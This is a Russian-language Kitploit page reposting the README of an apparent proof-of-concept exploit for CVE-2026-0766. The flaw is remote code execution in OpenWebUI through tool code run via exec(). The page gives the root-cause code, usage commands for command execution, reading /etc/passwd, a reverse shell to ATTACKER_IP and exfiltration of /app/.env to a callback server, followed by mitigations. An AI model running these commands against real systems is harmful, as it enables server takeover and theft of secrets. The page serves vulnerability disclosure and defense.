Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0766 — Эксплойт proof-of-concept для CVE-2026-0766, уязвимости удалённого выполнения кода в OpenWebUI через внедрение кода в инструменты. Включает режимы выполнения команд, чтения файлов, обратной оболочки и слепой эксфильтрации. | Kitploit
Инструменты/GitHubGitHub/bitt0n/cve-2026-0766
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Эксплойт proof-of-concept для CVE-2026-0766, уязвимости удалённого выполнения кода в OpenWebUI через внедрение кода в инструменты. Включает режимы выполнения команд, чтения файлов, обратной оболочки и слепой эксфильтрации.

Репозиторий
136 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0766: Удаленное выполнение кода в OpenWebUI

Образовательный репозиторий по исследованию безопасности

Этот репозиторий содержит proof-of-concept код эксплуатации для CVE-2026-0766 — уязвимости удаленного выполнения кода в OpenWebUI, обнаруженной и опубликованной Zero Day Initiative (ZDI).


⚠️ Отказ от ответственности

Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей.

  • Используйте этот код для тестирования своих собственных систем или систем, на тестирование которых у вас есть явное разрешение
  • Используйте это для изучения уязвимостей безопасности LLM-платформ
  • ❌ Никогда не используйте это против систем без явного разрешения
  • ❌ Несанкционированный доступ к компьютерным системам противозаконен

Автор не несет ответственности за неправомерное использование этого кода. Пользователи несут единоличную ответственность за соблюдение всех применимых законов и нормативных требований.


📋 Обзор уязвимости

СвойствоЗначение
ID CVECVE-2026-0766
ОбнаруженоZero Day Initiative (ZDI)
Затронутое ПОOpenWebUI
Тип уязвимостиВнедрение кода (CWE-94)
Оценка CVSS8.8 ВЫСОКАЯ
Вектор CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Сложность атакиНизкая (аутентифицированный администратор или пользователь с правами создания/обновления инструментов может эксплуатировать)

Что такое OpenWebUI?

OpenWebUI — это самостоятельно размещаемый веб-интерфейс для больших языковых моделей. Он обеспечивает интерфейс в стиле ChatGPT, который организации могут запускать на собственной инфраструктуре, сохраняя разговоры и данные LLM локально.

Уязвимость

OpenWebUI включает функцию «Инструменты» (Tools), которая позволяет пользователям расширять возможности LLM, отправляя код на Python. Этот код выполняется на стороне сервера через функцию Python exec() без каких-либо механизмов песочницы, проверки или контроля безопасности.

Поток эксплуатации:

  1. Аутентифицированный пользователь создает «Инструмент» через POST /api/v1/tools/create
  2. Предоставленный пользователем код на Python сохраняется в поле content
  3. Сервер вызывает exec(content, module.__dict__) в utils/plugin.py
  4. Произвольный код на Python выполняется с полными привилегиями сервера
  5. Атакующий достигает удаленного выполнения кода (RCE)

Ключевой момент: Код выполняется в момент создания инструмента, а не когда LLM вызывает инструмент. Это означает, что простое создание вредоносного инструмента запускает RCE — дальнейшее взаимодействие не требуется.

Протестированные версии

Эта эксплуатация проверена на:

  • OpenWebUI v0.8.10 — Уязвима ✅ (протестировано 2026-03-28)

Уязвимость носит архитектурный характер (небезопасное использование exec() на пользовательском вводе) и присутствует во всех версиях до выпуска патча безопасности командой OpenWebUI.


🔍 Технические детали

Корневая причина

Уязвимость существует в backend/open_webui/utils/plugin.py:

def load_tool_module_by_id(tool_id: str, content: str):
    # Минимальная предобработка (НЕ контроль безопасности)
    content = replace_imports(content)

    # Создание модуля и выполнение пользовательского кода
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← УЯЗВИМОСТЬ

    return module

Функция replace_imports() только переписывает пути импорта (косметически) — она не ограничивает, какой код может выполняться. Отсутствуют:

  • ❌ Песочница (нет ограниченной среды выполнения)
  • ❌ Проверка кода (нет инспекции AST или белых списков)
  • ❌ Проверки разрешений (все аутентифицированные пользователи могут создавать инструменты по умолчанию)
  • ❌ Разделение привилегий (код выполняется от имени сервисной учетной записи OpenWebUI)

Ответ вендора

Команда OpenWebUI изначально оценила это как низкоприоритетное, отметив, что создание инструментов требует прав администратора. Однако:

  1. Делегирование разрешений распространено — многие развертывания предоставляют создание инструментов опытным пользователям, администраторам рабочих пространств и разработчикам
  2. Скомпрометированные учетные записи администраторов — фишинг, подбор учетных данных и компрометация SSO могут дать атакующим доступ администратора
  3. Нарушение эшелонированной защиты — даже действия администратора должны быть ограничены; неограниченное выполнение кода нарушает принцип минимальных привилегий
  4. Полезность после компрометации — эта уязвимость ценна в цепочках атак после первоначального доступа

После того как вендор предложил администраторам управлять этим с ограниченным доступом, ZDI опубликовала это как 0-day уязвимость (ZDI-26-032) для информирования защитников.

Автор уважает сложности поддержки проектов с открытым исходным кодом. Патчинг безопасности требует баланса между потребностями пользователей, архитектурными ограничениями и ограниченными ресурсами. Эта публикация направлена на помощь командам безопасности в оценке риска и внедрении мер смягчения.


🛠️ Proof of Concept

Установка

git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Использование

Скрипт эксплуатации (exploit.py) поддерживает несколько режимов атаки:

1. Выполнение команд

Выполнение команд ОС и получение вывода:

python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Чтение файлов

Чтение файлов из файловой системы сервера:

python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Обратная оболочка

Запуск обратной оболочки (требуется netcat-слушатель):

# На машине атакующего:
nc -lvnp 4444

# Запуск эксплуатации:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Слепая эксфильтрация

Отправка вывода команд на HTTP-сервер обратного вызова:

python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Аутентификация

Скрипт принимает как JWT-токены (из входа через SSO), так и API-ключи:

Получение JWT-токена:

  1. Войдите в OpenWebUI обычным способом (SSO или локальная аутентификация)
  2. Откройте инструменты разработчика браузера (F12)
  3. Найдите свой токен:
    • Вкладка Cookies: Найдите значение cookie token
    • Вкладка Network: Скопируйте заголовок Authorization: Bearer ... из любого API-запроса
    • Консоль: Выполните localStorage.getItem("token")
  4. Передайте токен скрипту: --token eyJhbGci...

🔐 Меры смягчения

Для защитников

Если вы запускаете OpenWebUI и не можете немедленно установить патч:

  1. Ограничьте права на создание инструментов только высоконадежными администраторами
  2. Проведите аудит существующих инструментов на наличие вредоносного кода (проверьте содержимое инструментов в базе данных)
  3. Запускайте OpenWebUI с минимальными привилегиями (выделенная сервисная учетная запись, файловая система только для чтения, где это возможно)
  4. Внедрите фильтрацию исходящего сетевого трафика (контейнер не должен иметь произвольный исходящий доступ)
  5. Отслеживайте подозрительное создание инструментов (следите за инструментами, созданными вне обычных рабочих процессов)

Рекомендуемые исправления (для сопровождающих)

  1. Замените exec() на безопасную альтернативу:
    • Используйте RestrictedPython для выполнения в песочнице
    • Разбирайте AST Python и проверяйте по белому списку безопасных операций
    • Выполняйте код инструментов в изолированных контейнерах (gVisor, Firecracker)
Скачать инструмент